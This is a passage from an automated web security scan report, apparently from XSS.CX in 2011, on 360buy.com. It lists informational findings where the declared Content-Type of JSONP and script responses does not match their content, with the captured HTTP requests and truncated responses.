User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:43 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=600
Last-Modified: Tue, 16 Aug 2011 16:17:23 GMT
Vary: Content-Type
Age: 1
Content-Length: 464
X-Cache: HIT from TJ-HY-WWW-90.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

GetJdwsmentsCallback({"html":[{"Wid":402392,"AdTitle":"\u76F4\u964D40\u5143\uFF01"},{"Wid":1000378884,"AdTitle":"\u5168\u573A\u6E05\u4ED3~\uFF01\uFF01\uFF01"},{"Wid":334117,"AdTitle":"\u767E\u8D27\u6E
...[SNIP]...

12.11. http://www.360buy.com/limitBuy.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.360buy.com
Path:   /limitBuy.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /limitBuy.aspx?callback=jsonp1313511424505&ids=535,536,537,538&_=1313511432022 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:25 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=180
Last-Modified: Tue, 16 Aug 2011 16:17:25 GMT
Vary: Content-Type
X-Cache: MISS from TJ-HY-WWW-35.360buy.com
Connection: close

jsonp1313511424505({'data':[{'qid':'535','start':'2011-8-17 0:17:25','server':'2011-8-17 0:17:25','end':'2011-08-17 09:00:00','pros':[{'mc':'%u4E09%u661F%uFF08%u0053%u0041%u004D%u0053%u0055%u004E%u004
...[SNIP]...

12.12. http://www.360buy.com/lishi.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.360buy.com
Path:   /lishi.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain unrecognised content.

Request

GET /lishi.aspx?callback=category.getBrandService&id=a,915,925^b,916,926^c,917,927^d,918,928^e,919,929^f,920,930^g,921,931^h,922,932^i,923,933^j,924,934^k,2096,2097^l,3512,3513 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:02:30 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=3600
Last-Modified: Tue, 16 Aug 2011 16:02:19 GMT
Vary: Content-Type
Age: 1
Content-Length: 14672
X-Cache: HIT from TJ-HY-WWW-32.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

category.getBrandService({'data':[{id:'a',b:[{u:'http://market.360buy.com/zhuanmai/joyoung/index.aspx',n:'..........'},{u:'http://market.360buy.com/zhuanmai/tcl/index.aspx',n:'TCL'},{u:'http://market.
...[SNIP]...

12.13. http://www.360buy.com/script/AD_miaozhen.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.360buy.com
Path:   /script/AD_miaozhen.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /script/AD_miaozhen.js?ref=1620&ref1=1621&ref2=1629 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 15:20:13 GMT
Content-Type: application/x-javascript; charset=gb2312
Vary: Accept-Encoding
Cache-Control: max-age=86400
Last-Modified: Fri, 20 Aug 2010 06:28:38 GMT
X-Cache: HIT from BJ-B28-WWW-152.360buy.com
Age: 1
Content-Length: 1087
X-Cache: HIT from TJ-HY-WWW-44.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

// JavaScript Document
var url = window.location.href.split("/")[4];
var id1=url.split('-')[0];
var id2=url.split('-')[1];
var id3=url.split('-')[2];

if(id3=="731"){
MiaoZhenAdShow(8410);
...[SNIP]...

Report generated by XSS.CX at Tue Aug 16 10:24:45 GMT-06:00 2011.